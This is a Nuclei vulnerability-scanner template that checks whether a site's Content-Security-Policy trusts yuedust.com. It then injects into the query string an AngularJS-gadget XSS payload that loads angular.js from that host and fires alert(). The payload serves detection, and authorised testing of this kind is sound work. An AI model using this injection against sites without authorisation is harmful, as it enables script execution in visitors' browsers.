id: yuedust-angular-csp-bypass
info:
name: Content-Security-Policy Bypass - Yuedust Angular
author: renniepak,DhiyaneshDK
severity: medium
reference:
- https://github.com/renniepak/CSPBypass/blob/main/data.tsv
metadata:
verified: true
tags: xss,csp-bypass,yuedust-angular,vuln
flow: http(1) && headless(1)
http:
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: word
part: header
words:
- "Content-Security-Policy"
- "yuedust.com"
condition: and
internal: true
headless:
- steps:
- action: navigate
args:
url: "{{BaseURL}}"
- action: waitdialog
name: yuedust_angular_csp_xss
args:
max-duration: 5s
payloads:
injection:
- <body ng-app ng-csp><script src="//yuedust.yuedu.126.net/js/components/angular/angular.js"></script><div ng-app ng-csp><div ng-focus="x=$event;" id=f tabindex=0>foo</div><div ng-repeat="(key, value) in x.view"><div ng-if="key == \'window\'">{{ [1].reduce(value.alert, 1); }}</div></div></div></body>
fuzzing:
- part: query
type: replace
mode: single
fuzz:
- "{{url_encode(injection)}}"
matchers:
- type: dsl
dsl:
- "yuedust_angular_csp_xss == true"
# digest: 4b0a00483046022100a31c4875d5eb8aac01d768d88ebea22b21caf78bb8613fe755cf5c418426827f022100caa8a4ec6ec8330f14cd5e4ab32541e7b57e6ec3dc74271d39375dfbaff8b2eb:922c64590222798bb761d5b6d8e72950